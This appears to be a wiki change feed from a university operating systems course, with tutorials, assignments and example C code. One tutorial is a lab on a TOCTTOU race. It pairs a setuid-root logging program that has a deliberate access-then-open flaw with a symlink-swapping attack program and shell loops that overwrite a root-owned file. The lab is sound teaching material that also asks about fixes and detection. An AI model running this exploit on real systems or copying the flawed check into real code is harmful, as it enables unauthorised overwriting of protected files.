# Download and compile [http://homeostasis.scs.carleton.ca/~soma/os-2017f/code/tut1/hello.c hello.c] and [http://homeostasis.scs.carleton.ca/~soma/os-2017f/code/tut1/syscall-hello.c syscall-hello.c].  Compile them statically and dynamically.  How do the library and system calls produced by them compare?&lt;br /&gt;
# Download, compile, and run [http://homeostasis.scs.carleton.ca/~soma/os-2019w/code/csimpleshell.c csimpleshell.c].  How does its functionality compare to that of &amp;lt;tt&amp;gt;bash&amp;lt;/tt&amp;gt;?&lt;br /&gt;
&lt;br /&gt;
==Code==&lt;br /&gt;
&lt;br /&gt;
===hello.c===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
&lt;br /&gt;
        printf(&amp;quot;Hello world!\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===syscall-hello.c===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
char *buf = &amp;quot;Hello world!\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv) {&lt;br /&gt;
        size_t result;&lt;br /&gt;
&lt;br /&gt;
        /* &amp;quot;man 2 write&amp;quot; to see arguments to write syscall */&lt;br /&gt;
        result = syscall(SYS_write, 1, buf, 13);&lt;br /&gt;
&lt;br /&gt;
        return (int) result;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===csimpleshell.c===&lt;br /&gt;
&amp;lt;source line lang=&amp;quot;C&amp;quot;&amp;gt;&lt;br /&gt;
/* csimpleshell.c, Enrico Franchi © 2005&lt;br /&gt;
      https://web.archive.org/web/20170223203852/&lt;br /&gt;
      http://rik0.altervista.org/snippets/csimpleshell.html&lt;br /&gt;
      &amp;quot;BSD&amp;quot; license&lt;br /&gt;
&lt;br /&gt;
   January 12, 2019: minor changes to eliminate most compilation warnings&lt;br /&gt;
   (Anil Somayaji, soma@scs.carleton.ca)&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/wait.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#define BUFFER_SIZE 1&amp;lt;&amp;lt;16&lt;br /&gt;
#define ARR_SIZE 1&amp;lt;&amp;lt;16&lt;br /&gt;
&lt;br /&gt;
void parse_args(char *buffer, char** args, &lt;br /&gt;
                size_t args_size, size_t *nargs)&lt;br /&gt;
{&lt;br /&gt;
    char *buf_args[args_size]; /* You need C99 */&lt;br /&gt;
    char **cp;&lt;br /&gt;
    char *wbuf;&lt;br /&gt;
    size_t i, j;&lt;br /&gt;
    &lt;br /&gt;
    wbuf=buffer;&lt;br /&gt;
    buf_args[0]=buffer; &lt;br /&gt;
    args[0] =buffer;&lt;br /&gt;
    &lt;br /&gt;
    for(cp=buf_args; (*cp=strsep(&amp;amp;wbuf, &amp;quot; \n\t&amp;quot;)) != NULL ;){&lt;br /&gt;
        if ((*cp != NULL) &amp;amp;&amp;amp; (++cp &amp;gt;= &amp;amp;buf_args[args_size]))&lt;br /&gt;
            break;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    for (j=i=0; buf_args[i]!=NULL; i++){&lt;br /&gt;
        if(strlen(buf_args[i])&amp;gt;0)&lt;br /&gt;
            args[j++]=buf_args[i];&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    *nargs=j;&lt;br /&gt;
    args[j]=NULL;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[], char *envp[]){&lt;br /&gt;
    char buffer[BUFFER_SIZE];&lt;br /&gt;
    char *args[ARR_SIZE];&lt;br /&gt;
&lt;br /&gt;
    int ret_status;&lt;br /&gt;
    size_t nargs;&lt;br /&gt;
    pid_t pid;&lt;br /&gt;
    &lt;br /&gt;
    while(1){&lt;br /&gt;
        printf(&amp;quot;$ &amp;quot;);&lt;br /&gt;
        fgets(buffer, BUFFER_SIZE, stdin);&lt;br /&gt;
        parse_args(buffer, args, ARR_SIZE, &amp;amp;nargs); &lt;br /&gt;
&lt;br /&gt;
        if (nargs==0) continue;&lt;br /&gt;
        if (!strcmp(args[0], &amp;quot;exit&amp;quot; )) exit(0);       &lt;br /&gt;
        pid = fork();&lt;br /&gt;
        if (pid){&lt;br /&gt;
            printf(&amp;quot;Waiting for child (%d)\n&amp;quot;, pid);&lt;br /&gt;
            pid = wait(&amp;amp;ret_status);&lt;br /&gt;
            printf(&amp;quot;Child (%d) finished\n&amp;quot;, pid);&lt;br /&gt;
        } else {&lt;br /&gt;
            if( execvp(args[0], args)) {&lt;br /&gt;
                puts(strerror(errno));&lt;br /&gt;
                exit(127);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }    &lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2019W:_Tutorial_9&amp;diff=22321</id>
		<title>Operating Systems 2019W: Tutorial 9</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2019W:_Tutorial_9&amp;diff=22321"/>
		<updated>2019-04-03T11:41:57Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* 3000log-write.c */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;In this tutorial you&#039;ll attempt to exploit a simple TOCTTOU vulnerability in [https://homeostasis.scs.carleton.ca/~soma/os-2019w/code/3000log-write.c 3000log-write.c] using [https://homeostasis.scs.carleton.ca/~soma/os-2019w/code/3000fast-swap.c 3000fast-swap.c] and some bash shell commands.&lt;br /&gt;
&lt;br /&gt;
==Tasks==&lt;br /&gt;
&lt;br /&gt;
===Running 3000log-write===&lt;br /&gt;
&lt;br /&gt;
First, compile [https://homeostasis.scs.carleton.ca/~soma/os-2019w/code/3000log-write.c 3000log-write.c]:&lt;br /&gt;
  gcc -O2 3000log-write.c -o 3000log-write&lt;br /&gt;
If you try running it, you&#039;ll find that it won&#039;t do much because it isn&#039;t running as root.&lt;br /&gt;
&lt;br /&gt;
To make the binary setuid root, do the following:&lt;br /&gt;
  sudo su  (to become root but stay in the same dir)&lt;br /&gt;
  chown root:root 3000log-write&lt;br /&gt;
  chmod u+s 3000log-write&lt;br /&gt;
  exit (so you&#039;re no longer root)&lt;br /&gt;
&lt;br /&gt;
Create a file that will be overwritten:&lt;br /&gt;
  echo &amp;quot;This file will be overwritten&amp;quot; &amp;gt; testfile&lt;br /&gt;
&lt;br /&gt;
Now, try running the following as a regular user:&lt;br /&gt;
  ./3000log-write testfile &amp;quot;Kilroy was here&amp;quot;&lt;br /&gt;
&lt;br /&gt;
What shows up in &amp;lt;tt&amp;gt;testfile&amp;lt;/tt&amp;gt;?  Anything surprising about what is in the file now?&lt;br /&gt;
&lt;br /&gt;
Also, where was the record of this event recorded?&lt;br /&gt;
&lt;br /&gt;
===Setting up the exploit environment===&lt;br /&gt;
&lt;br /&gt;
To try to exploit the race condition, we will have a victimfile that is owned by root and a safefile that is the &amp;quot;safe&amp;quot; file that will pass the permission checks (i.e., it is owned by the unprivileged user running the attack).  Note for the following we assume you are user student.  If you are running as a different user you&#039;ll need to change the hardcoded paths in 3000fast-swap.c.&lt;br /&gt;
&lt;br /&gt;
Compile [https://homeostasis.scs.carleton.ca/~soma/os-2019w/code/3000fast-swap.c 3000fast-swap.c]:&lt;br /&gt;
  gcc -O2 3000fast-swap.c -o 3000fast-swap&lt;br /&gt;
&lt;br /&gt;
Make the directory for the attack:&lt;br /&gt;
  mkdir /home/student/tmp&lt;br /&gt;
&lt;br /&gt;
Create the safefile (owned by student):&lt;br /&gt;
  echo &amp;quot;This is the safe file&amp;quot; &amp;gt; /home/student/tmp/safefile&lt;br /&gt;
&lt;br /&gt;
Create the victimfile (owned by root):&lt;br /&gt;
  sudo su&lt;br /&gt;
  echo &amp;quot;This is the victim file&amp;quot; &amp;gt; /etc/victimfile&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
===Running the exploit===&lt;br /&gt;
&lt;br /&gt;
First, get 3000fast-swap running in the background:&lt;br /&gt;
 3000fast-swap &amp;amp;&lt;br /&gt;
&lt;br /&gt;
If you run &amp;lt;tt&amp;gt;top&amp;lt;/tt&amp;gt; you should see it consuming significant resources.&lt;br /&gt;
&lt;br /&gt;
Try viewing targetfile several times.  You should see its contents changing between the victimfile and safefile.&lt;br /&gt;
Note that sometimes targetfile may not exist while other times it does.&lt;br /&gt;
  for x in `seq 1 10`; do cat /home/student/tmp/targetfile; done&lt;br /&gt;
&lt;br /&gt;
Now try running 3000log-write many times and see whether the victimfile has changed:&lt;br /&gt;
  for x in `seq 1 10`; do ./3000log-write /home/student/tmp/targetfile payload; done&lt;br /&gt;
  cat /etc/victimfile&lt;br /&gt;
&lt;br /&gt;
Did victimfile change?  If not, try running 3000log-write more times.&lt;br /&gt;
&lt;br /&gt;
When you are done, be sure to kill off 3000fast-swap!&lt;br /&gt;
&lt;br /&gt;
===Other Tasks &amp;amp; Questions===&lt;br /&gt;
&lt;br /&gt;
* Add a timestamp to the log using &amp;lt;tt&amp;gt;ctime&amp;lt;/tt&amp;gt; or equivalent.&lt;br /&gt;
* Vary the delays in the 3000fast-swap.  Do shorter delays make it easier or harder to win the race?  What about longer delays?&lt;br /&gt;
* Can you make 3000fast-swap use hard links instead of symbolic links?  Why or why not?&lt;br /&gt;
* Does the attack work if you append rather than just write to the file?&lt;br /&gt;
* How does the system call profile of the system change when these attacks are run?  Are there more system calls?  More failed ones?  What kind?&lt;br /&gt;
* Load your machine with heavy CPU and/or I/O bound tasks.  Do these affect how quickly you can win the race?&lt;br /&gt;
* [HARD] Could 3000log-write.c tell that it had made a mistake and written to the wrong file?&lt;br /&gt;
* Modify 3000log-write.c so it drops privileges temporarily while doing the write using &amp;lt;tt&amp;gt;seteuid&amp;lt;/tt&amp;gt;.  Is the modified version vulnerable to the same attack?&lt;br /&gt;
* Do you think you could detect this attack by observing system call patterns?  What about by observing patterns in the logs?  (Could the attacker cover their tracks after they gained privileges?)&lt;br /&gt;
&lt;br /&gt;
==Code==&lt;br /&gt;
&lt;br /&gt;
===3000log-write.c===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot; line&amp;gt;&lt;br /&gt;
/* 3000log-write.c&lt;br /&gt;
&lt;br /&gt;
   A program to demonstrate TOCTTOU issues&lt;br /&gt;
&lt;br /&gt;
   Usage: 3000log-write &amp;lt;file&amp;gt; &amp;lt;message&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   When run, writes message to the file.  It then also records a&lt;br /&gt;
   record of this action to /var/log/comp3000-write.log&lt;br /&gt;
&lt;br /&gt;
   Note the program must be setuid root in order to add entries to&lt;br /&gt;
   the log file (which is owned by root).  But, it should only add entries&lt;br /&gt;
   to files that the current user can write to.&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define LOGFILE &amp;quot;/var/log/3000write.log&amp;quot;&lt;br /&gt;
&lt;br /&gt;
void usage(char *message)&lt;br /&gt;
{&lt;br /&gt;
        fprintf(stderr, &amp;quot;ERROR: %s\n&amp;quot;, message);&lt;br /&gt;
        fprintf(stderr, &amp;quot;Usage:  log-append &amp;lt;file&amp;gt; &amp;lt;message&amp;gt;\n&amp;quot;);&lt;br /&gt;
        exit(-1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void test_root_privileges(void)&lt;br /&gt;
{&lt;br /&gt;
        if (geteuid() != 0) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Not running with root privileges, exiting.\n&amp;quot;);&lt;br /&gt;
                exit(-1);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
char *get_username(void)&lt;br /&gt;
{&lt;br /&gt;
        char *username;&lt;br /&gt;
        char *default_username = &amp;quot;UNKNOWN&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        username = getenv(&amp;quot;USER&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
        if (username == NULL) {&lt;br /&gt;
                username = default_username;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        return username;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void log_append(char *username, char *filename)&lt;br /&gt;
{&lt;br /&gt;
        FILE *f;&lt;br /&gt;
        &lt;br /&gt;
        f = fopen(LOGFILE, &amp;quot;a&amp;quot;);&lt;br /&gt;
        if (!f) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Could not open log for writing.\n&amp;quot;);&lt;br /&gt;
                exit(-1);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        fprintf(f, &amp;quot;%s (%d) appended to %s\n&amp;quot;, username, getuid(), filename);&lt;br /&gt;
        fclose(f);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void safe_write(char *filename, char *message)&lt;br /&gt;
{&lt;br /&gt;
        int fd;&lt;br /&gt;
        int allowed;&lt;br /&gt;
&lt;br /&gt;
        if (access(filename, W_OK)) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;You aren&#039;t allowed to write to %s\n&amp;quot;,&lt;br /&gt;
                        filename);&lt;br /&gt;
                exit(-1);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        fd = open(filename, O_WRONLY);&lt;br /&gt;
        if (fd == -1) {&lt;br /&gt;
                fprintf(stderr, &amp;quot;Could not open %s for writing.\n&amp;quot;, filename);&lt;br /&gt;
                exit(-1);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        write(fd, message, strlen(message));&lt;br /&gt;
        close(fd);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
        char *username, *filename, *message;&lt;br /&gt;
&lt;br /&gt;
        test_root_privileges();&lt;br /&gt;
&lt;br /&gt;
        if (argc &amp;lt; 3) {&lt;br /&gt;
                usage(&amp;quot;Not enough arguments&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        filename = argv[1];&lt;br /&gt;
        message = argv[2];&lt;br /&gt;
        &lt;br /&gt;
        username = get_username();&lt;br /&gt;
        &lt;br /&gt;
        safe_write(filename, message);&lt;br /&gt;
        log_append(username, filename);&lt;br /&gt;
        &lt;br /&gt;
        printf(&amp;quot;Message written to %s\n&amp;quot;, filename);&lt;br /&gt;
        &lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===3000fast-swap.c===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot; line&amp;gt;&lt;br /&gt;
/* 3000fast-swap.c&lt;br /&gt;
   &lt;br /&gt;
   Quickly swap files that are being used by 3000run-write.c.&lt;br /&gt;
   This is part of how to exploit TOCTTOU (race condition) &lt;br /&gt;
   vulnerability in 3000run-write.c&lt;br /&gt;
&lt;br /&gt;
   Note it assumes that:&lt;br /&gt;
     /etc/victimfile is a file that is only writable by root&lt;br /&gt;
     /home/student/tmp exists (and is owned by student)&lt;br /&gt;
     /home/student/tmp/safefile exists (and is owned by student)&lt;br /&gt;
&lt;br /&gt;
   Change hard coded files and sleep times to change conditions of&lt;br /&gt;
   the swapping.&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
        printf(&amp;quot;Swapping between safefile and victimfile...\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
        while(1) {&lt;br /&gt;
                unlink(&amp;quot;/home/student/tmp/targetfile&amp;quot;);&lt;br /&gt;
                symlink(&amp;quot;/etc/victimfile&amp;quot;,&lt;br /&gt;
                     &amp;quot;/home/student/tmp/targetfile&amp;quot;);&lt;br /&gt;
                usleep(200);&lt;br /&gt;
                unlink(&amp;quot;/home/student/tmp/targetfile&amp;quot;);&lt;br /&gt;
                symlink(&amp;quot;/home/student/tmp/safefile&amp;quot;,&lt;br /&gt;
                     &amp;quot;/home/student/tmp/targetfile&amp;quot;);&lt;br /&gt;
                usleep(200);&lt;br /&gt;
        }&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2019W:_Assignment_3&amp;diff=22253</id>
		<title>Operating Systems 2019W: Assignment 3</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2019W:_Assignment_3&amp;diff=22253"/>
		<updated>2019-03-13T00:16:38Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Questions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;background-color: cyan; border-style: dashed;padding-top: 10px;&lt;br /&gt;
 padding-right: 20px;&lt;br /&gt;
 padding-bottom: 10px;&lt;br /&gt;
 padding-left: 20px;&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;This assignment is not yet finalized&#039;&#039;&#039; but it is feature complete.  Feel free to start working on it, but please check it again after it has been finalized for small changes.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Please submit the answers to the following questions via CULearn by 11:55 PM on Sunday, March 24, 2019. There are 20 points in 9 questions.&lt;br /&gt;
&lt;br /&gt;
Submit your answers as a single text file named &amp;quot;&amp;lt;username&amp;gt;-comp3000-assign3.txt&amp;quot; (where username is your MyCarletonOne username). The first four lines of this file should be &amp;quot;COMP 3000 Assignment 3&amp;quot;, your name, student number, and the date of submission. You may wish to format your answers in Markdown to improve their appearance.&lt;br /&gt;
&lt;br /&gt;
No other formats will be accepted. Submitting in another format will likely result in your assignment not being graded and you receiving no marks for this assignment. In particular do not submit an MS Word or OpenOffice file as your answers document!&lt;br /&gt;
&lt;br /&gt;
Don&#039;t forget to include what outside resources you used to complete each of your answers, including other students, man pages, and web resources. You do not need to list help from the instructor, TA, or information found in the textbook.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Please make your best effort to do a proper implementation where required.&#039;&#039;&#039;  There will be times where you may be tempted to copy large portions of code from other parts of the kernel.  While you may have to copy a small number of lines, avoid duplicating significant functionality.&lt;br /&gt;
&lt;br /&gt;
When an answer asks for modifications to the remember module, please give your code as a &amp;quot;diff -c&amp;quot; versus the original remember.c or versus the code for a previous answer.  Points may be deducted for code in improper form.  (Note that by using diff -c it is easily possible to automatically apply your changes to the original code in order to get a full working version.)&lt;br /&gt;
&lt;br /&gt;
==Questions==&lt;br /&gt;
&lt;br /&gt;
# [2] What are two reasons Linux kernel code doesn&#039;t make system calls?&lt;br /&gt;
# [2] What code could we use to get the information returned by getuid and geteuid system calls in the kernel?  How do you know your code is correct?&lt;br /&gt;
# [2] When you unload a kernel module, can the kernel automatically deallocate the resources that were used by the module?  Explain.&lt;br /&gt;
# [2] How could a userspace program prevent the remember module from being unloaded?  Give code and explain why this code blocks the removal of the remember module.&lt;br /&gt;
# [2] What happens if you call class_create() in a module using a class name that already exists in the kernel?  Describe the process by which you figured out your answer.&lt;br /&gt;
# [2] Fix the remember module so that it returns EFAULT to userspace when given an invalid pointer. Describe the process by which you figured out your answer.&lt;br /&gt;
# [2] In the remember module, modify remember_read() so it uses a non-zero offset properly rather than simply logging an error.  Describe the process by which you figured out your answer.&lt;br /&gt;
# [2] Modify the remember module so llseek system calls work as they do on regular files.  Describe the process by which you figured out your answer.&lt;br /&gt;
# [4] Modify the remember module so the behavior of writes change as follows:&lt;br /&gt;
#* [1] Increase the allocation size to 16K of storage.&lt;br /&gt;
#* [1] Allocate memory when data is first written to /dev/remember and free memory when zero bytes are written to /dev/remember or when the remember module is unloaded.&lt;br /&gt;
#* [1] Preserve data across writes such that a shorter write preserves data from a previous longer write.&lt;br /&gt;
#* [1] Allow writes to non-zero offsets (subject to the maximum size of /dev/remember).&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2019W:_Assignment_1&amp;diff=22138</id>
		<title>Operating Systems 2019W: Assignment 1</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2019W:_Assignment_1&amp;diff=22138"/>
		<updated>2019-01-23T03:03:41Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Questions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Please submit the answers to the following questions via CULearn by 4 PM on January 28, 2019. There are 20 points in 11 questions.&lt;br /&gt;
&lt;br /&gt;
Submit your answers as a single text file named &amp;quot;&amp;lt;username&amp;gt;-comp3000-assign1.txt&amp;quot; (where username is your MyCarletonOne username). The first four lines of this file should be &amp;quot;COMP 3000 Assignment 1&amp;quot;, your name, student number, and the date of submission. You may wish to format your answers in Markdown to improve their appearance.&lt;br /&gt;
&lt;br /&gt;
No other formats will be accepted. Submitting in another format will likely result in your assignment not being graded and you receiving no marks for this assignment. In particular do not submit an MS Word, OpenOffice, or PDF file as your answers document!&lt;br /&gt;
&lt;br /&gt;
Don&#039;t forget to include what outside resources you used to complete each of your answers, including other students, man pages, and web resources. You do not need to list help from the instructor, TA, or information found in the textbook.&lt;br /&gt;
&lt;br /&gt;
==Questions==&lt;br /&gt;
# [1] When you run a program from 3000shell, what does that program get for file descriptors 0, 1, and 2?  Assume that you are running 3000shell in a standard terminal on Linux.&lt;br /&gt;
# [1] If line 293 from 3000shell.c is removed, &amp;lt;tt&amp;gt;pid = wait(ret_status);&amp;lt;/tt&amp;gt;, how will the behavior of 3000shell change?&lt;br /&gt;
# [1] How would the behaviour of 3000shell change if lines 299 and 300 were removed?&lt;br /&gt;
# [1] What does the call to setup_comm_fn() in line 167 of 3000shell.c do?&lt;br /&gt;
# [2] Are system calls used to set signal handlers?  Use output from &amp;lt;tt&amp;gt;strace&amp;lt;/tt&amp;gt; to show your answer is correct.&lt;br /&gt;
# [2] Does find_env() generate any system calls?  Use output from &amp;lt;tt&amp;gt;strace&amp;lt;/tt&amp;gt; to show your answer is correct.&lt;br /&gt;
# [2] Give the assembly code corresponding to the allocation of pattern[] on line 63.  Note that this allocation may be for multiple variables.  How do you know your answer is correct?&lt;br /&gt;
# [2] How can &amp;lt;tt&amp;gt;execve&amp;lt;/tt&amp;gt; overwrite all of a process&#039;s memory while also preserving its file descriptors?  Specifically, does preserving file descriptors require execve to avoid erasing some process memory?&lt;br /&gt;
# [2] Is the SA_RESTART flag on a signal handler (e.g., line 243) interpreted by code running in the process or in the kernel?  Give evidence for your answer.&lt;br /&gt;
# [3] Implement a &amp;quot;listfiles&amp;quot; command that lists the files in the current directory.  Give the code for the listfiles() function and show how you&#039;d change the rest of the code so that typing &amp;quot;listfiles&amp;quot; runs this function.  Show your changes by using &amp;lt;tt&amp;gt;diff -c&amp;lt;/tt&amp;gt;.&lt;br /&gt;
# [3] Implement an &amp;quot;input from file&amp;quot; feature to csimpleshell that works as follows.  If you run &amp;lt;pre&amp;gt;$ bc infile=foo.bc&amp;lt;/pre&amp;gt; then csimpleshell should have bc read the contents of foo.bc from standard input.  You may assume that the &amp;quot;infile=&amp;quot; parameter is the last one (other than perhaps &amp;amp;).  Show your changes from the standard csimpleshell.c using &amp;lt;tt&amp;gt;diff -c&amp;lt;/tt&amp;gt;.&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_8&amp;diff=21977</id>
		<title>Operating Systems 2018F: Tutorial 8</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_8&amp;diff=21977"/>
		<updated>2018-11-11T21:17:35Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Tasks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;This tutorial is not yet finalized.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In this tutorial you will be learning about [https://github.com/libfuse/libfuse filesystem in userspace (FUSE)] using an example from [https://github.com/terencehonles/fusepy fusepy].  You will also be tracing kernel-level behavior using [https://wkz.github.io/ply/ ply].  The exercises below have been tested in the class openstack VM.  It should also work in the virtualbox VM (as long as you don&#039;t run out of disk space while installing/updating packages).  It should also work on any ubuntu 18.04 installation.  Other linux distributions are likely to work but there may be glitches.&lt;br /&gt;
&lt;br /&gt;
==memoryll &amp;amp; fusell==&lt;br /&gt;
&lt;br /&gt;
The memoryll script (which depends on fusell) creates an in-memory filesystem.  You can store what you want in this filesystem and the data will be recorded in python data structures.  When the script terminates all data is lost.&lt;br /&gt;
&lt;br /&gt;
The memoryll and fusell example code are written in Python, not C.  The code should be readable even if you are not familiar with Python.  When you make changes, keep in mind the following:&lt;br /&gt;
* Indentation, not curly braces, is used to denote block structure.  Thus indentation matters!  Pay particular attention to spaces versus tabs.  (When in doubt, don&#039;t use tabs.)&lt;br /&gt;
* To create a local variable, just assign to it.  Python will make sure it is only defined within that function.&lt;br /&gt;
* If you just type &amp;quot;python&amp;quot; on the command line you get a read-eval-print loop where you can try things out.&lt;br /&gt;
* Python is heavily object oriented, so expect to use methods more than straight functions.&lt;br /&gt;
&lt;br /&gt;
To get going, first download the [http://homeostasis.scs.carleton.ca/~soma/os-2014f/code/fuse.zip fuse example code] in a zip file.  Unpack it and change into the directory in a terminal.  You should see two files: fusell.py and memoryll.py (both listed below).  We will be running and modifying memoryll.py.  For it to work, however, fusell.py has to be in the same directory as memoryll.py.&lt;br /&gt;
&lt;br /&gt;
Specifically, to get started run the following commands:&lt;br /&gt;
 wget http://homeostasis.scs.carleton.ca/~soma/os-2014f/code/fuse.zip&lt;br /&gt;
 unzip fuse.zip&lt;br /&gt;
 cd fuse&lt;br /&gt;
 mkdir mnt&lt;br /&gt;
&lt;br /&gt;
Now to run the example program type:&lt;br /&gt;
&lt;br /&gt;
 python memoryll.py mnt&lt;br /&gt;
&lt;br /&gt;
(You may get an error about /etc/fuse.conf is not readable; if so don&#039;t worry about it, this happens when the user is not in the fuse group.)&lt;br /&gt;
&lt;br /&gt;
After you do this, a new filesystem will be mounted on mnt (in the current directory).  &#039;&#039;&#039;NOTE: all files created in this directory disappear when the script is terminated!&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To get the script to properly exit, run:&lt;br /&gt;
&lt;br /&gt;
 fusermount -u mnt&lt;br /&gt;
&lt;br /&gt;
(This will unmount the filesystem.)  Note that if any process is using files in the mounted filesystem, this command will fail.&lt;br /&gt;
&lt;br /&gt;
To forcibly terminate the script, type Control-Z then type &amp;quot;kill %1&amp;quot; (kill first job).&lt;br /&gt;
&lt;br /&gt;
If you terminate the script and re-run it, you may get errors.  To fix them, do the following:&lt;br /&gt;
* Make sure no processes are using the mnt directory (e.g., being in that directory in another terminal window).&lt;br /&gt;
* sudo umount mnt (while in the fuse directory)&lt;br /&gt;
We suggest you leave the memoryll.py script running in one terminal window while doing the following exercises (using GUI programs or commands in another terminal window).&lt;br /&gt;
&lt;br /&gt;
==ply==&lt;br /&gt;
&lt;br /&gt;
[https://wkz.github.io/ply/ ply] is a tool for tracing and gathering stats on the currently running Linux kernel.  We will be using it today to see what is happening on the kernel side when we use memoryll.&lt;br /&gt;
&lt;br /&gt;
First, install the dependencies:&lt;br /&gt;
&lt;br /&gt;
  apt install build-essential autoconf flex bison git&lt;br /&gt;
  apt clean&lt;br /&gt;
&lt;br /&gt;
Next, download the source code:&lt;br /&gt;
&lt;br /&gt;
  wget https://homeostasis.scs.carleton.ca/~soma/os-2018f/code/tut8/ply-src.zip&lt;br /&gt;
  unzip ply-src.zip&lt;br /&gt;
&lt;br /&gt;
    or&lt;br /&gt;
&lt;br /&gt;
